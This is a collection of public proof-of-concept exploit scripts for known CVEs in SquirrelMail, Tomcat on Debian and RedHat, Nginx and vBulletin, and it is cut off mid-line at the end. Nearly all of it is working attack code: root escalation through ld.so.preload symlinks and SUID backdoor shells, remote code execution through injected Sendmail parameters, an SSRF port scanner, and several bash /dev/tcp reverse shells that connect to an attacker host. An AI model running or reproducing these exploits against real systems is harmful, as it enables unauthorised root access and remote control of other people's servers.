unlink("/etc/ld.so.preload"); 150 | } 151 | return old_geteuid(); 152 | } 153 | _solibeof_ 154 | /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" 155 | if [ $? -ne 0 ]; then 156 | echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." 157 | cleanexit 2; 158 | fi 159 | 160 | 161 | # Prepare backdoor shell 162 | cp $BACKDOORSH $BACKDOORPATH 163 | echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" 164 | 165 | # Safety check 166 | if [ -f /etc/ld.so.preload ]; then 167 | echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." 168 | exit 2 169 | fi 170 | 171 | # Symlink the log file 172 | rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG 173 | if [ $? -ne 0 ]; then 174 | echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." 175 | cleanexit 3 176 | fi 177 | echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`" 178 | 179 | # Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered 180 | curl http://localhost/ >/dev/null 2>/dev/null 181 | # Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily 182 | # rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am) 183 | echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..." 184 | while :; do 185 | sleep 1 186 | if [ -f /etc/ld.so.preload ]; then 187 | echo $PRIVESCLIB > /etc/ld.so.preload 188 | rm -f $ERRORLOG 189 | break; 190 | fi 191 | done 192 | 193 | # /etc/ld.so.preload should be owned by www-data user at this point 194 | # Inject the privesc.so shared library to escalate privileges 195 | echo $PRIVESCLIB > /etc/ld.so.preload 196 | echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`" 197 | echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" 198 | echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" 199 | chmod 755 /etc/ld.so.preload 200 | 201 | # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) 202 | echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" 203 | sudo 2>/dev/null >/dev/null 204 | 205 | # Check for the rootshell 206 | ls -l $BACKDOORPATH 207 | ls -l $BACKDOORPATH | grep rws | grep -q root 208 | if [ $? -eq 0 ]; then 209 | echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" 210 | echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m" 211 | else 212 | echo -e "\n[!] Failed to get root" 213 | cleanexit 2 214 | fi 215 | 216 | rm -f $ERRORLOG 217 | echo > $ERRORLOG 218 | 219 | # Use the rootshell to perform cleanup that requires root privilges 220 | $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" 221 | # Reset the logging to error.log 222 | $BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`" 223 | 224 | # Execute the rootshell 225 | echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n" 226 | $BACKDOORPATH -p -i 227 | 228 | # Job done. 229 | cleanexit 0 230 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Exploit -------------------------------------------------------------------------------- /SquirrelMail/SquirrelMail_RCE_exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | int='\033[94m 4 | __ __ __ __ __ 5 | / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ 6 | / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ 7 | / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) 8 | /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ 9 | /____/ 10 | 11 | SquirrelMail <= 1.4.23 Remote Code Execution PoC Exploit (CVE-2017-7692) 12 | 13 | SquirrelMail_RCE_exploit.sh (ver. 1.1) 14 | 15 | Discovered and coded by 16 | 17 | Dawid Golunski (@dawid_golunski) 18 | https://legalhackers.com 19 | 20 | ExploitBox project: 21 | https://ExploitBox.io 22 | 23 | \033[0m' 24 | 25 | # Quick and messy PoC for SquirrelMail webmail application. 26 | # It contains payloads for 2 vectors: 27 | # * File Write 28 | # * RCE 29 | # It requires user credentials and that SquirrelMail uses 30 | # Sendmail method as email delivery transport 31 | # 32 | # 33 | # Full advisory URL: 34 | # https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html 35 | # Exploit URL: 36 | # https://legalhackers.com/exploits/CVE-2017-7692/SquirrelMail_RCE_exploit.sh 37 | # 38 | # Tested on: # Ubuntu 16.04 39 | # squirrelmail package version: 40 | # 2:1.4.23~svn20120406-2ubuntu1.16.04.1 41 | # 42 | # Disclaimer: 43 | # For testing purposes only 44 | # 45 | # 46 | # ----------------------------------------------------------------- 47 | # 48 | # Interested in vulns/exploitation? 49 | # Stay tuned for my new project - ExploitBox 50 | # 51 | # .;lc' 52 | # .,cdkkOOOko;. 53 | # .,lxxkkkkOOOO000Ol' 54 | # .':oxxxxxkkkkOOOO0000KK0x:' 55 | # .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. 56 | # ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl. 57 | # '';ldxxxxxdc,. ,oOXXXNNNXd;,. 58 | # .ddc;,,:c;. ,c: .cxxc:;:ox: 59 | # .dxxxxo, ., ,kMMM0:. ., .lxxxxx: 60 | # .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: 61 | # .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: 62 | # .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: 63 | # .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: 64 | # .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: 65 | # .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: 66 | # .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: 67 | # .dxxxxxdl;. ., .. .;cdxxxxxx: 68 | # .dxxxxxxxxxdc,. 'cdkkxxxxxxxx: 69 | # .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,. 70 | # .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:. 71 | # .':oxxxxxxxxx.ckkkkkkkkxl,. 72 | # .,cdxxxxx.ckkkkkxc. 73 | # .':odx.ckxl,. 74 | # .,.'. 75 | # 76 | # https://ExploitBox.io 77 | # 78 | # https://twitter.com/Exploit_Box 79 | # 80 | # ----------------------------------------------------------------- 81 | 82 | sqspool="/var/spool/squirrelmail/attach/" 83 | 84 | echo -e "$int" 85 | #echo -e "\033[94m \nSquirrelMail - Remote Code Execution PoC Exploit (CVE-2017-7692) \n" 86 | #echo -e "SquirrelMail_RCE_exploit.sh (ver. 1.0)\n" 87 | #echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m\n\n" 88 | 89 | 90 | # Base URL 91 | if [ $# -ne 1 ]; then 92 | echo -e "Usage: \n$0 SquirrelMail_URL" 93 | echo -e "Example: \n$0 http://target/squirrelmail/ \n" 94 | 95 | exit 2 96 | fi 97 | URL="$1" 98 | 99 | # Log in 100 | echo -e "\n[*] Enter SquirrelMail user credentials" 101 | read -p "user: " squser 102 | read -sp "pass: " sqpass 103 | 104 | echo -e "\n\n[*] Logging in to SquirrelMail at $URL" 105 | curl -s -D /tmp/sqdata -d"login_username=$squser&secretkey=$sqpass&js_autodetect_results=1&just_logged_in=1" $URL/src/redirect.php | grep -q incorrect 106 | if [ $? -eq 0 ]; then 107 | echo "Invalid creds" 108 | exit 2 109 | fi 110 | sessid="`cat /tmp/sqdata | grep SQMSESS | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`" 111 | keyid="`cat /tmp/sqdata | grep key | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`" 112 | 113 | 114 | # Prepare Sendmail cnf 115 | # 116 | # * The config will launch php via the following stanza: 117 | # 118 | # Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, 119 | # T=DNS/RFC822/X-Unix, 120 | # A=php -- $u $h ${client_addr} 121 | # 122 | wget -q -O/tmp/smcnf-exp https://legalhackers.com/exploits/sendmail-exploit.cf 123 | 124 | # Upload config 125 | echo -e "\n\n[*] Uploading Sendmail config" 126 | token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/compose.php?mailbox=INBOX&startMessage=1" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `" 127 | attachid="`curl -H "Expect:" -s -b"SQMSESSID=$sessid; key=$keyid" -F"smtoken=$token" -F"send_to=$mail" -F"subject=attach" -F"body=test" -F"attachfile=@/tmp/smcnf-exp" -F"username=$squser" -F"attach=Add" $URL/src/compose.php | awk -F's:32' '{print $2}' | awk -F'"' '{print $2}' | tr -d '\n'`" 128 | if [ ${#attachid} -lt 32 ]; then 129 | echo "Something went wrong. Failed to upload the sendmail file." 130 | exit 2 131 | fi 132 | 133 | # Create Sendmail cmd string according to selected payload 134 | echo -e "\n\n[?] Select payload\n" 135 | # SELECT PAYLOAD 136 | echo "1 - File write (into /tmp/sqpoc)" 137 | echo "2 - Remote Code Execution (with the uploaded smcnf-exp + phpsh)" 138 | echo 139 | read -p "[1-2] " pchoice 140 | 141 | case $pchoice in 142 | 1) payload="$squser@localhost -oQ/tmp/ -X/tmp/sqpoc" 143 | ;; 144 | 145 | 2) payload="$squser@localhost -oQ/tmp/ -C$sqspool/$attachid" 146 | ;; 147 | esac 148 | 149 | if [ $pchoice -eq 2 ]; then 150 | echo 151 | read -p "Reverese shell IP: " reverse_ip 152 | read -p "Reverese shell PORT: " reverse_port 153 | fi 154 | 155 | # Reverse shell code 156 | phprevsh=" 157 | /dev/tcp/$reverse_ip/$reverse_port 0<&1 2>&1 & '\"; 159 | file_put_contents(\"/tmp/cmd\", 'export PATH=\"\$PATH\" ; export TERM=vt100 ;' . \$cmd); 160 | system(\"/bin/bash /tmp/cmd ; rm -f /tmp/cmd\"); 161 | ?>" 162 | 163 | 164 | # Set sendmail params in user settings 165 | echo -e "\n[*] Injecting Sendmail command parameters" 166 | token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/options.php?optpage=personal" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `" 167 | curl -s -b"SQMSESSID=$sessid; key=$keyid" -d "smtoken=$token&optpage=personal&optmode=submit&submit_personal=Submit" --data-urlencode "new_email_address=$payload" "$URL/src/options.php?optpage=personal" | grep -q 'Success' 2>/dev/null 168 | if [ $? -ne 0 ]; then 169 | echo "Failed to inject sendmail parameters" 170 | exit 2 171 | fi 172 | 173 | # Send email which triggers the RCE vuln and runs phprevsh 174 | echo -e "\n[*] Sending the email to trigger the vuln" 175 | (sleep 2s && curl -s -D/tmp/sheaders -b"SQMSESSID=$sessid; key=$keyid" -d"smtoken=$token" -d"startMessage=1" -d"session=0" \ 176 | -d"send_to=$squser@localhost" -d"subject=poc" --data-urlencode "body=$phprevsh" -d"send=Send" -d"username=$squser" $URL/src/compose.php) & 177 | 178 | if [ $pchoice -eq 2 ]; then 179 | echo -e "\n[*] Waiting for shell on $reverse_ip port $reverse_port" 180 | nc -vv -l -p $reverse_port 181 | else 182 | echo -e "\n[*] The test file should have been written at /tmp/sqpoc" 183 | fi 184 | 185 | grep -q "302 Found" /tmp/sheaders 186 | if [ $? -eq 1 ]; then 187 | echo "There was a problem with sending email" 188 | exit 2 189 | fi 190 | 191 | 192 | # Done 193 | echo -e "\n[*] All done. Exiting" 194 | 195 | 196 | -------------------------------------------------------------------------------- /Tomcat/tomcat-RH-root.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit 3 | # CVE-2016-5425 4 | # 5 | # Full advisory at: 6 | # http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html 7 | # 8 | # Discovered and coded by: 9 | # Dawid Golunski 10 | # http://legalhackers.com 11 | # 12 | # Tested on RedHat, CentOS, OracleLinux, Fedora systems. 13 | # 14 | # For testing purposes only. 15 | # 16 | 17 | ATTACKER_IP=127.0.0.1 18 | ATTACKER_PORT=9090 19 | 20 | echo -e "\n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *" 21 | echo -e " Discovered by Dawid Golunski\n" 22 | echo "[+] Checking vulnerability" 23 | stat -c '%U %G' /usr/lib/tmpfiles.d/tomcat.conf | grep tomcat 24 | if [ $? -ne 0 ]; then 25 | echo "Not vulnerable or tomcat installed under a different user than 'tomcat'" 26 | exit 1 27 | fi 28 | echo -e "\n[+] Your system is vulnerable!" 29 | 30 | echo -e "\n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..." 31 | cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf 32 | C /usr/share/tomcat/rootsh 4770 root root - /bin/bash 33 | z /usr/share/tomcat/rootsh 4770 root root - 34 | F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & \n\n" 35 | _eof_ 36 | 37 | echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:" 38 | cat /usr/lib/tmpfiles.d/tomcat.conf 39 | echo -e "\n[+] Payload injected! Wait for your root shell...\n" 40 | echo -e "Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.), 41 | the rootshell will be created in /usr/share/tomcat/rootsh. 42 | Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT \n" 43 | 44 | -------------------------------------------------------------------------------- /Tomcat/tomcat-rootprivesc-deb.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit 4 | # 5 | # CVE-2016-1240 6 | # 7 | # Discovered and coded by: 8 | # 9 | # Dawid Golunski 10 | # http://legalhackers.com 11 | # 12 | # This exploit targets Tomcat (versions 6, 7 and 8) packaging on 13 | # Debian-based distros including Debian, Ubuntu etc. 14 | # It allows attackers with a tomcat shell (e.g. obtained remotely through a 15 | # vulnerable java webapp, or locally via weak permissions on webapps in the 16 | # Tomcat webroot directories etc.) to escalate their privileges to root. 17 | # 18 | # Usage: 19 | # ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred] 20 | # 21 | # The exploit can used in two ways: 22 | # 23 | # -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly 24 | # gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 25 | # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up 26 | # a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.) 27 | # 28 | # -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 29 | # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 30 | # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 31 | # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can 32 | # then add arbitrary commands to the file which will be executed with root privileges by 33 | # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 34 | # Ubuntu/Debian Tomcat installations). 35 | # 36 | # See full advisory for details at: 37 | # http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html 38 | # 39 | # Disclaimer: 40 | # For testing purposes only. Do no harm. 41 | # 42 | 43 | BACKDOORSH="/bin/bash" 44 | BACKDOORPATH="/tmp/tomcatrootsh" 45 | PRIVESCLIB="/tmp/privesclib.so" 46 | PRIVESCSRC="/tmp/privesclib.c" 47 | SUIDBIN="/usr/bin/sudo" 48 | 49 | function cleanexit { 50 | # Cleanup 51 | echo -e "\n[+] Cleaning up..." 52 | rm -f $PRIVESCSRC 53 | rm -f $PRIVESCLIB 54 | rm -f $TOMCATLOG 55 | touch $TOMCATLOG 56 | if [ -f /etc/ld.so.preload ]; then 57 | echo -n > /etc/ld.so.preload 2>/dev/null 58 | fi 59 | echo -e "\n[+] Job done. Exiting with code $1 \n" 60 | exit $1 61 | } 62 | 63 | function ctrl_c() { 64 | echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation." 65 | cleanexit 0 66 | } 67 | 68 | #intro 69 | echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n" 70 | echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m" 71 | 72 | # Args 73 | if [ $# -lt 1 ]; then 74 | echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n" 75 | exit 3 76 | fi 77 | if [ "$2" = "-deferred" ]; then 78 | mode="deferred" 79 | else 80 | mode="active" 81 | fi 82 | 83 | # Priv check 84 | echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`" 85 | id | grep -q tomcat 86 | if [ $? -ne 0 ]; then 87 | echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n" 88 | exit 3 89 | fi 90 | 91 | # Set target paths 92 | TOMCATLOG="$1" 93 | if [ ! -f $TOMCATLOG ]; then 94 | echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n" 95 | exit 3 96 | fi 97 | echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG" 98 | 99 | # [ Deferred exploitation ] 100 | 101 | # Symlink the log file to /etc/default/locale file which gets executed daily on default 102 | # tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am. 103 | # Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been 104 | # restarted and file owner gets changed. 105 | if [ "$mode" = "deferred" ]; then 106 | rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG 107 | if [ $? -ne 0 ]; then 108 | echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." 109 | cleanexit 3 110 | fi 111 | echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`" 112 | echo -e "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`" 113 | echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot" 114 | echo -ne "\n you'll be able to add arbitrary commands to the file which will get executed with root privileges" 115 | echo -ne "\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)\n\n" 116 | exit 0 117 | fi 118 | 119 | # [ Active exploitation ] 120 | 121 | trap ctrl_c INT 122 | # Compile privesc preload library 123 | echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" 124 | cat <<_solibeof_>$PRIVESCSRC 125 | #define _GNU_SOURCE 126 | #include 127 | #include 128 | #include 129 | #include 130 | uid_t geteuid(void) { 131 | static uid_t (*old_geteuid)(); 132 | old_geteuid = dlsym(RTLD_NEXT, "geteuid"); 133 | if ( old_geteuid() == 0 ) { 134 | chown("$BACKDOORPATH", 0, 0); 135 | chmod("$BACKDOORPATH", 04777); 136 | unlink("/etc/ld.so.preload"); 137 | } 138 | return old_geteuid(); 139 | } 140 | _solibeof_ 141 | gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl 142 | if [ $? -ne 0 ]; then 143 | echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." 144 | cleanexit 2; 145 | fi 146 | 147 | # Prepare backdoor shell 148 | cp $BACKDOORSH $BACKDOORPATH 149 | echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" 150 | 151 | # Safety check 152 | if [ -f /etc/ld.so.preload ]; then 153 | echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." 154 | cleanexit 2 155 | fi 156 | 157 | # Symlink the log file to ld.so.preload 158 | rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG 159 | if [ $? -ne 0 ]; then 160 | echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." 161 | cleanexit 3 162 | fi 163 | echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`" 164 | 165 | # Wait for Tomcat to re-open the logs 166 | echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..." 167 | echo -e "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)" 168 | while :; do 169 | sleep 0.1 170 | if [ -f /etc/ld.so.preload ]; then 171 | echo $PRIVESCLIB > /etc/ld.so.preload 172 | break; 173 | fi 174 | done 175 | 176 | # /etc/ld.so.preload file should be owned by tomcat user at this point 177 | # Inject the privesc.so shared library to escalate privileges 178 | echo $PRIVESCLIB > /etc/ld.so.preload 179 | echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`" 180 | echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" 181 | echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" 182 | 183 | # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) 184 | echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" 185 | sudo --help 2>/dev/null >/dev/null 186 | 187 | # Check for the rootshell 188 | ls -l $BACKDOORPATH | grep rws | grep -q root 189 | if [ $? -eq 0 ]; then 190 | echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" 191 | echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m" 192 | else 193 | echo -e "\n[!] Failed to get root" 194 | cleanexit 2 195 | fi 196 | 197 | # Execute the rootshell 198 | echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n" 199 | $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" 200 | $BACKDOORPATH -p 201 | 202 | # Job done. 203 | cleanexit 0 204 | -------------------------------------------------------------------------------- /Vbulletin/vBulletin_SSRF_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | intro = """ 4 | vBulletin <= 5.2.2 SSRF PoC Exploit (portscan / zabbix agent RCE) 5 | 6 | This PoC exploits an SSRF vulnerability in vBulletin to scan internal services 7 | installed on the web server that is hosting the vBulletin forum. 8 | 9 | After the scan, the exploit also checks for a Zabbix Agent (10050) port and 10 | gives an option to execute a reverse shell (Remote Commands) that will connect 11 | back to the attacker's host on port 8080 by default. 12 | 13 | Coded by: 14 | 15 | Dawid Golunski 16 | http://legalhackers.com 17 | """ 18 | usage = """ 19 | Usage: 20 | The exploit requires that you have an external IP and can start a listener on port 80/443 21 | on the attacking machine. 22 | 23 | ./vBulletin_SSRF_exploit.py our_external_IP vBulletin_base_url [minimum_port] [maximum_port] 24 | 25 | Example invocation that starts listener on 192.168.1.40 (port 80) and scans local ports 1-85 26 | on the remote vBulletin target host: 27 | 28 | ./vBulletin_SSRF_exploit.py 192.168.1.40 http://vbulletin-target/forum 1 85 29 | 30 | Before exploiting Zabbix Agent, start your netcat listener on 8080 port in a separate shell e.g: 31 | 32 | nc -vv -l -p 8080 33 | 34 | Disclaimer: 35 | For testing purposes only. Do no harm. 36 | 37 | SSL/TLS support needs some tuning. For better results, provide HTTP URL to the vBulletin target. 38 | """ 39 | 40 | import web # http://webpy.org/installation 41 | import threading 42 | import time 43 | import urllib 44 | import urllib2 45 | import socket 46 | import ssl 47 | import sys 48 | 49 | 50 | # The listener that will send redirects to the targe 51 | class RedirectServer(threading.Thread): 52 | def run (self): 53 | urls = ('/([0-9a-z_]+)', 'do_local_redir') 54 | app = web.application(urls, globals()) 55 | #app.run() 56 | return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', our_port)) 57 | 58 | class do_local_redir: 59 | def GET(self,whereto): 60 | if whereto == "zabbixcmd_redir": 61 | # code exec 62 | # redirect to gopher://localhost:10050/1system.run[(/bin/bash -c 'nohup bash -i >/dev/tcp/our_ip/shell_port 0<&1 2>&1 &') ; sleep 2s] 63 | return web.HTTPError('301', {'Location': 'gopher://localhost:10050/1system.run%5b(%2Fbin%2Fbash%20-c%20%27nohup%20bash%20-i%20%3E%2Fdev%2Ftcp%2F'+our_ext_ip+'%2F'+str(shell_port)+'%200%3C%261%202%3E%261%20%26%27) %20%3B%20sleep%202s%5d' } ) 64 | else: 65 | # internal port connection 66 | return web.HTTPError('301', {'Location': "telnet://localhost:%s/" % whereto} ) 67 | 68 | def shutdown(code): 69 | print "\nJob done. Exiting" 70 | if redirector_started == 1: 71 | web.httpserver.server.interrupt = KeyboardInterrupt() 72 | exit(code) 73 | 74 | 75 | # [ Default settings ] 76 | 77 | # reverse shell will connect back to port defined below 78 | shell_port = 8080 79 | # Our HTTP redirector/server port (must be 80 or 443 for vBulletin to accept it) 80 | our_port = 443 81 | # How long to wait (seconds) before considering a port to be opened. 82 | # Don't set it too high to avoid service timeout and an incorrect close state 83 | connect_time = 2 84 | # Default port scan range is limited to 20-90 to speed up things when testing, 85 | # feel free to increase maxport to 65535 here or on the command line if you've 86 | # got the time ;) 87 | minport = 20 88 | maxport = 90 89 | # ignore invalid certs (enable if target forum is HTTPS) 90 | #ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1) 91 | 92 | 93 | # [ Main Meat ] 94 | 95 | print intro 96 | redirector_started = 0 97 | 98 | if len(sys.argv) < 3 : 99 | print usage 100 | sys.exit(2) 101 | 102 | # Set our HTTP Listener/Redirector's external IP 103 | our_ext_ip = sys.argv[1] 104 | try: 105 | socket.inet_aton(our_ext_ip) 106 | except socket.error: 107 | print "Invalid HTTP redirector server IP [%s]!\n" % our_ext_ip 108 | exit(2) 109 | 110 | our_server = "http://%s:%s" % (our_ext_ip, our_port) 111 | 112 | # Target forum base URL (e.g. http://vulnerable-vbulletin/forum) 113 | targetforum = sys.argv[2] 114 | # Append vulnerable media upload script path to the base URL 115 | targeturl = targetforum.strip('/') + "/link/getlinkdata" 116 | 117 | # Change port range (if provided) 118 | if (len(sys.argv) == 5) : 119 | minport = int(sys.argv[3]) 120 | # Finish scanning at maxport 121 | maxport = int(sys.argv[4]) 122 | 123 | 124 | # Confirm data 125 | print "\n* Confirm your settings\n" 126 | print "Redirect server to listen on: %s:%s\nTarget vBulletin URL: %s\nScan ports between: %d - %d\n" % (our_ext_ip, our_port, targeturl, minport, maxport) 127 | key = raw_input("Are these settings correct? Hit enter to start the port scan... ") 128 | 129 | # Connection check 130 | print "\n* Testing connection to vulnerable script at [%s]\n" % targeturl 131 | req = urllib2.Request(targeturl, data=' ', headers={ 'User-Agent': 'Mozilla/5.0' } ) 132 | try: 133 | response = urllib2.urlopen(req, timeout=connect_time).read() 134 | except urllib2.URLError as e: 135 | print "Invalid forum URI / HTTP request failed (reason: %s)\n" % e.reason 136 | shutdown(2) 137 | 138 | # Server should return 'invalid_url' string if not url provided in POST 139 | if "invalid_url" not in response: 140 | print """Invalid target url (%s) or restricted access.\n 141 | \nTest with:\n curl -X POST -v %s\nShutting down\n""" % (targeturl, targeturl) 142 | sys.exit(2) 143 | else: 144 | print "Got the right response from the URL. The target looks vulnerable!\n" 145 | 146 | # [ Start the listener and perform a port scan ] 147 | print "Let's begin!\n" 148 | print "* Starting our redirect base server on %s:%s \n" % (our_ext_ip, our_port) 149 | RedirectServer().start() 150 | redirector_started = 1 151 | 152 | print "* Scanning local ports from %d to %d on [%s] target \n" % (minport, maxport, targetforum) 153 | start = time.time() 154 | opened_ports = [] 155 | maxport+=1 156 | 157 | for targetport in range(minport, maxport): 158 | #print "\n\nScanning port %d\n" % (targetport) 159 | fetchurl = '%s/%d' % (our_server, targetport) 160 | data = urllib.urlencode({'url' : fetchurl}) 161 | req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } ) 162 | try: 163 | response = urllib2.urlopen(req, timeout=connect_time) 164 | except urllib2.URLError, e: 165 | print "Oops, url issue? 403 , 404 etc.\n" 166 | except socket.timeout, ssl.SSLError: 167 | print "Conection opened for %d seconds. Port %d is opened!\n" % (connect_time, targetport) 168 | opened_ports.append(targetport) 169 | 170 | elapsed = (time.time() - start) 171 | print "\nScanning done in %d seconds. \n\n* Opened ports on the target [%s]: \n" % (elapsed, targetforum) 172 | for listening in opened_ports: 173 | print "Port %d : Opened\n" % listening 174 | print "\nAnything juicy? :)\n" 175 | 176 | if 10050 in opened_ports: 177 | print "* Zabbix Agent was found on port 10050 !\n" 178 | 179 | # [ Command execution via Zabbix Agent to gain a reverse shell ] 180 | key = raw_input("Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] ") 181 | if key != 'y' : 182 | shutdown(0) 183 | 184 | print "\n* Executing reverse shell via Zabbix Agent (10050)." 185 | fetchurl = '%s/%s' % (our_server, 'zabbixcmd_redir') 186 | data = urllib.urlencode({'url' : fetchurl}) 187 | req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } ) 188 | payload_executed = 0 189 | try: 190 | response = urllib2.urlopen(req, timeout=connect_time) 191 | except urllib2.URLError, e: 192 | print "Oops, url issue? 403 , 404 etc.\n" 193 | except 